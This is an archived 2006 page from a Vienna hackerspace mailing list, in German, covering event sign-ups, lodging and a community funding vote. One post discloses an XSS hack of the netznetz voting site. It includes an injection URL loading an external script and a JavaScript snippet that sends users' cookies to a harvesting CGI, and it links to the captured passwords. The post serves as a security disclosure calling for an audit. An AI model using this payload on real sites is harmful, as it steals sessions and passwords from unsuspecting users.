- Metalab - lists.test.metalab.at

EAST erh,egg - Anmeldung online
by Teemu Schaabl 04 Apr '06

04 Apr '06

Moinsen, die anmeldung zum non-public bereich der easterhegg a.k.a bunker ist online: http://eh.cngw.org/ es gibt insgesamt ein kontingent von 150 plaetzen, also beeilt euch, Und es werden noch dringend Helfer gesucht! (Hint: Das gibt einen Preisnachlass!) Bei Interesse Mail an: eh-orga(a)cngw.org lg das EH-Orga Team (eh-orga(a)cngw.org) -- EAST erh,egg # @fluc.at, 14-17 april 2006

3 5

easterhegg unterkunft
by Paul Boehm 04 Apr '06

04 Apr '06

hallo, hab um die easterhegg im moment ca. 9 leuten bei mir zum schlafen.. das ist grad am limit von dem was hier irgendwie reinpasst wenn wer von euch vor hat bei der easterhegg vorbeizuschaun, und noch bisschen platz fï¿½r leute hat, wï¿½rd ich mich aber freuen ein paar von den lieben gï¿½sten (alles gute freunde mit interessanten projekten, und bestimmt total handzahm) abzugeben. platz fï¿½r iso-matte und schlafsack mï¿½sste eigentlich reichen. bitte direkt bei mir melden, ich schau dann wie man da am besten tun kann paul

1 0

mörderstress und besichtigung
by Paul Boehm 04 Apr '06

04 Apr '06

hallo heute 18.30 ist besichtigung bei der rathausstrasse 6 da gehts nicht um eine entscheidung oder sonst was (sorry adrian, ich muss deine absolut berechtigte mail dazu noch beantworten!) geht drum das wir mal bei der maklerin guten eindruck machen, weil ein gastronomiebetrieb druck macht (mit hoeherem preis), damit wir uns alle optionen offen lassen. ich bin grad ziemlich im termine jonglieren - man sieht sich spï¿½ter dort wer kann bitte kamera mitnehmen gruss paul

1 0

Metalab in der FuZo
by Otmar Lendl 02 Apr '06

02 Apr '06

FYI, http://futurezone.orf.at/tipps/stories/99738/ /ol -- -=- Otmar Lendl -- ol(a)bofh.priv.at -=-

1 0

Details zum Backbone Voting am Montag
by Andreas.Trawoeger＠wgkk.at 01 Apr '06

01 Apr '06

Hallo an Alle! Auf die Gefahr hin endgültig von der Metalab Liste verbannt zu werden, hier meine crossgepostete Mail über die aktuelle Detailplanung für das Backbone Voting am Montag und ich verspreche das Wort mit den zwei großen Ns auf diese Liste nicht mehr zu erwähnen. Zur Wahlkommission: Es gibt mit Florian Lauber schon jemanden aus dem direkten MetaLab Umfeld in der Wahlkommision und es macht keinen Sinn jemand zweiten von Metalab dazu nehmen. Vielleicht findet sich evt. jedoch noch jemand aus dem weiteren Fablab Umfeld der mitmachen möchte. Zeitplan: 17.30 - 17.45: Bestellung der Wahlkommission Derzeit habe ich folgende Personen ermuntern können bei der Wahlkommission mitzumachen und bin noch auf der Suche nach einer fünften Person (bei Interesse bitte bei mir melden): - Florian Lauber - Christian Kummer - Andreas Trawöger - Sari Zott Die Mitglieder der Wahlkommision sind selbst stimmberechtigt, müssen jedoch den ganzen Abend Zeit haben (ab 17.30 -). 17.45 - 20.00 Vorstellung der Projekte Ab ca. 18.15 erfolgt die Ausgabe der ersten Peanuts (je nachdem wie lange die Wahlkommission braucht sich zu organisieren). Die Ausgabe der Peanuts ist als kontinuierlicher Prozess geplant, der die Projektpräsentation nicht stören soll (die Peanuts laufen niemanden davon). Ich würde daher bitten sich die Peanuts irgendwann im Laufe des Abends abzuholen und nicht die Wahlkommision zu stürmen sobald diese ausgegeben werden. 20.45: Ausgabe des letzen Peanuts Die Ausgabezeit für die Peanuts ist daher 18.15 - 20.45 Uhr. Nachdem wahrscheinlich gegen Ende relativ viele Personen kommen werden, würde ich daher ersuchen um allerspätestes 20.30 Uhr in das Depot zu kommen. 20.45 - 21.00: Abrechnung der Peanuts Die Wahlkommision ermittelt wieviele Peanuts augegeben wurden und gibt den Umrechnungsfaktor zwischen Peanuts und echten Förderungseuro bekannt. Ab 21.00: Voting FAQ: - Wer darf voten: Jeder der sich bis Morgen Sonntag 23:59 unter http://netart-cultures-backbone-vienna.sonance.net anmeldet, in den Optionen seinen REAL NAME einträgt (bitte nicht vergessen) und sich vor Ort mit diesem Namen ausweisen kannm - Was passiert wenn ich auf den Eintrag des Real Name, meine Ausweis, usw. vergessen habe: Liegt in der Entscheidung der Wahlkommision. Soferne diese nicht anders entscheidet (worauf man sich nicht verlassen sollte), sind Personen deren Anmeldung nicht nachvollziehbar ist (Aufgrund fehlenden Namens oder Ausweises) NICHT stimmberechtigt. - Kann jemand anderer meine Peanuts für mich abholen: Nein, die Vergabe der Peanuts erfolgt nur persönlich Kann ich kurz vorbeischaunen und die Peanuts jemand anderen geben (ich habe am Abend noch einen wichtigen Termin): Die Weitergabe / Delegation von Peanuts ist generell erlaubt und möglich. Sinnvollerweise sollte aber jeder Wahlberechtige selbst und direkt entscheiden, welches Projekt seine Peanuts bekommen soll. Die Wahlkommision behält sich daher das Recht vor in Ausnahmefällen die Gültigkeit einzelner Peanuts zu widerufen, falls Personen offensichtlich und grundlos nur zum abholen und weitergeben von Peanuts in das Depot kommen. Ich bitte daher allfällige Terminkollisionen beim abholen der Peanuts kurz zu erwähnen (ala: "Ich muss heute leider früher weg") um allfällige Missverständnisse zu vermeiden. cu andreas

2 1

Forward of moderated message
by metalab-announce-bounces＠lists.metalab.at 01 Apr '06

01 Apr '06

7 9

Re: Re: [Metalab] Die Wahrheit über Peanuts :-))
by Christopher Clay 31 Mär '06

31 Mär '06

> Ich hab keine Lust mir die anderen Projekte anzuhoeren Wenn du's nicht zur Präsentation schaffst, kannst du die eingereichten Projekte ja auch unter http://tinyurl.com/lduc8 durchsehen -- es gibt da durchaus mehrere zweifellos förderungs- würdige Ideen, auch und gerade auf dem Gebiet der Netzkultur: etwa das HappyLab, Wiki GIS Wien (offene Stadtplandaten), q/spot reloaded (weitere access points) usw. (Im Sinne der Off-Topic-Minimierung bitte eventuelle Diskussionen zu diesen anderen Projekten nicht hier, sondern auf der Random- Liste.) Generell halte ich es auf jeden Fall für wichtig, über die Abstimmung und die Teilnehmer informiert zu sein.. sonst ist man ja wirklich pures Metalab-Stimmvieh ohne jegliche eigene Meinung, und das kann nicht Sinn der Sache sein. Christopher

1 0

Weniger Mails: Neue Liste
by Paul Boehm 31 Mär '06

31 Mär '06

es gibt eine neue liste fï¿½r alles das einen lï¿½ngeren thread durch offtopic ist: http://lists.metalab.at/mailman/listinfo/random bitte alle diskussionen die nicht direkt mit dem metalab zu tun haben, und ausufern kï¿½nnten, ab jetzt dort. die leute die im letzten thread laut waren, sind schon subscribed. - paul

1 0

[Metalab] neues [netznetz.net] -> neue abendunterhaltung, neuer hack
by Aaron Kaplan 31 Mär '06

31 Mär '06

Liebe Carla, ich hoffe untenstehende mail erklaert, warum man nicht "einfach so" ein webformular fuer die anmeldung hernehmen sollte. Lieber Domm, ich hoffe ich entlocke dir ein paar schmunzler und hoffe ich hab das niveau mit dieser mail gehoben ... :) Liebe liste und leser, Teil #27 unsere taeglichen telenovella "netznetz aka. RAN AN DIE MILLION"... vorweg, 1) ich finds gut, dass das jetzt auf neue server kommt und 2) ja, das ganze voting sollte in real life passieren, nicht elektronisch. Und es wird eh real life sein, wie immer wieder angekuendigt. Ich bin sicher, andreas trawoeger hat da wirklich sehr gute ideen gehabt (fuer die BB grants). Ausserdem: alles in der mail unten bezieht sich auf den _alten_ server mana.netznetz.net (mit den _alten_ passwoertern. Das erklaert auch warum eine neue anmeldung nicht so bloed ist) >>>>> OOPS! update vor 3 minuten: dank http://csi.lo-res.org wissen wir jetzt auch, dass AUCH die NEUE SEITE mana.manila.at XSS scriptable ist. Tja... zu frueh gefreut... Mal sehen, was mit dem neuen server machbar ist... work in progress... click: http://mana.manila.at/discuss/msgReader$15?mode=%22%3E%3Cscript% 20src=http://csi.lo-res.org/csi.js%3E%3C/script%3E (testen on MacOS X) <<<<< On Mar 30, 2006, at 9:09 PM, Thomas Klausner wrote: > Hi! > > On Thu, Mar 30, 2006 at 05:14:06PM +0200, Aaron Kaplan wrote: > >> nun, liebe leute, da hab ich eine gute antwort darauf :) >> >> mana.netznetz.net war die GANZE ZEIT wieder gehackt . Naemlich ueber >> ein web formular (XSS attack) > > Nochmal: mana.netznetz.net war nie als 'sichere' Kiste geplant, > sondern > als offene Platform fuer verschiedene beiteiligte developerInnen. schon klar :) und es wird auch niemand einen vorwurf draus machen. Und am allerwenigsten wuerde ich dir ( domm ) einen vorwurf machen. Ich denke, dass du unglaublich viel und gutes in absolut chaotischen bedingungen in extrem wenig zeit super gecoded hast (ehrlich gemeint! haette es definitiv nicht so gut gekonnt). Darf ich aber trotzdem meine erkenntisse praesentieren? Ich finds einfach witzig! Und bitte das auch mit dem notwendigen humor zu lesen. Tada! The HACK ========= Ich hab naemlich vorher ueber einen _neuen_ hack (und diesmal ist es ein hack) geredet. Neu und frisch serviert aber schon ein paar wochen im system. Vielleicht erkennt der eine oder andere hier sein passwort? http://tema.lo-res.org/~aaron/mana/alteseite/moms.html Das webformular war XSS scriptable[1] ;-) Autor des hacks: Michael Bauer (mihi(a)lo-res.org) mit ein klein wenig hilfe von mir (aaron(a)lo-res.org) Aber der genius teil liegt sicher bei ersterem. XSS scripting ============== 1. Bob hosts a web site which allows users to post messages and other content to the site for later viewing by other members. 2. Mallory notices that Bob's website is vulnerable to a type 2 XSS attack. 3. Mallory posts a message, controversial in nature, which may encourage many other users of the site to view it. 4. Upon merely viewing the posted message, site users' session cookies or other credentials could be taken and sent to Mallory's webserver without their knowledge. 5. Later, Mallory logs in as other site users and post messages on their behalf.... (Aus [1]) Was heisst das in unserem fall? =============================== In der session war das mana passwort gespeichert. Jeder browser fragt nach einem bild (http://tema.lo-res.org/~aaron/ mana/alteseite/microglider.html) . Dieses bild ist ein paar pixel gross und schaut am montitor aus wie ein kleines stueck dreck. Das ist ja der perfide daran. Jetzt hat mihi in seinem usernamen / seiner userbeschreibung einen kleinen javascript code eingefuegt: # <script>document.open(); # document.write('<img '); # document.write('src="$URL/manaharvest.cgi?'); # document.write(document.cookie); # document.write('">'); # </script> Dieser javascript code requested das bild ("microglider"). Also eigentlich kommt das microglider .png bild zurueck. Beim requesten hat er aber das passwort an die seite geschickt, von der der microglider kam [5]. voila! Wir haben auf diese art ca. ein viertel (!!) aller pwds gefuden. Oder anders gesagt: die einzelnen browser der mana registrierten haben ihr passwort selber unbemerkt verraten. Unter [4] ist das gesamte XSS script zu finden. Sehr lehrreich. ---- Also wenn _das_ nicht netzkultur ist, dann weiss ich auch nicht mehr weiter ;-)))) REFERENCES ========== [1] Cross site scripting - http://en.wikipedia.org/wiki/ Cross_site_scripting [2] die passwoerter - http://tema.lo-res.org/~aaron/mana/alteseite/ moms.html [3] der glider - http://tema.lo-res.org/~aaron/mana/alteseite/ microglider.html [4] manaharvest - http://tema.lo-res.org/~aaron/mana/alteseite/ manaharvest.txt [5] genauer gesagt, beim requesten hat er die session mitgeschickt. Aus der session wird dann das passwort rausgeholt. PS: wenn die leute fuers coden was kriegen? kriegen wir (privat, mihi, aaron) was fuers security testen? Wie viel wird denn fuers coden vom herrn slunksy verrechnet? Vor kurzem meinte er noch auf dem metalab treffen "ich brauch ein paar coder, es gibt 3k-4k euro" Sorry, ganz ganz frech gefragt. > > An sich hat es ja geheissen, dass Mana ab Anfang Jaenner auf einem > Server der Stadt Wien lauft. Dazu kams nicht. Und im Jaenner-Chaos hat > niemand dran gedacht, die offene Kiste mana.netznetz.net abzusichern > (auf der inzwischen ja alle Leute mit Zugang (und das waren viele, > standen (oder stehen) diverse Passwoerter ja in div. Wikis/ > Mailarchiven - beabsichtigerweise!) verschiedenste Backdoors, > Trojaner, wasweissichwaas installiert haben haetten koenne). > > Es gab mal einen Vorschlag, ein Security Audit zu machen, der ist aber > (wie manche andere sinnvollen Vorschlaege) im niveulosen hick-hack > untergegangen. > sollte man ABSOLUT machen! Zumindest bevor mit der software wirklich gewaehlt wird. >> beweis kommt heute abend wenn ich ein bissi zeit hab, die mail >> auszuformulieren :) >> >> das ganze hier erinnert mich echt manchmal an favela soap operas > > me to :-/ :) mit humor nehmen. > >> frage: wo ist die alte seite hin? ich haette sie gerne nur aus demo >> gruenden. > > Die alte Seite (mana.netznetz.net) ist semi-abgedreht, alles wird nach > mana.manila.at forgewardet, wo ein Info-CMS rennt (oder so, bitte > diesbezueglich Slunsky fragen (der hat das glaub ich gemacht) > > Aber natuerlich ist der Code immer noch via subversion verfuegbar, > d.h. > du kannst auf einem deiner Server eine Demo aufsetzten. > Schoenen Abend, > Thomas (der sich das Niveau von OSS-Development-Listen fuer > netznetz.net > wuenscht) > ich hoffe, ich habe dich erheitert und mehr niveau geliefert. lg, a. PPS: alle bugs in dieser mail sind von mir. PPPS: wenn wir die alte seite samt DB noch irgendwo online haben, dann kann man im mihi account den glider sehen :) Zumindest fuer archivzwecke waers cool. PPPS: Und fuer alle, die aufgrund so einer mail glauben alles ist furchtbar: Seit karl popper wissen wir ja, dass man maximal eine theorie falsifizieren kann. Ein programm/software ist so was wie eine theorie. Also nichts _wirklich_ schlimmes passiert. Es ist keiner mit leib und leben oder eigentum zu schaden gekommen, ok? It's simply (part of) netculture.

8 14

netznetz diskussion
by Paul Boehm 31 Mär '06

31 Mär '06

huhu wir haben seit die diskussion zum netznetz/off-topic so ausgeufert ist schon 3 unsubscribes... kein grund die unterhaltung zu beschrï¿½nken, aber vielleicht kann ich einfach ne separate liste dafï¿½r aufmachen? mir ist klar, dass der content-to-noise ratio auf der netznetz liste einen vernï¿½nftigen thread dort verhindert. also muss irgendne alternative her. bis zum voting am montag ist netznetz diskussion hier nicht strictly offtopic.. aber mir wï¿½rs wirklich lieber wenn wir semi-ontopic bleiben kï¿½nnten. hat wer vorschlï¿½ge fï¿½r einen listennamen fï¿½r spezifische netznetz themen, oder jene aspekte davon die uns interessieren? netznetz(a)lists.metalab.at ? cash(a)lists.metalab.at ? the_great_2006_netznetz_heist(a)lists.metalab.at ? -paul

2 1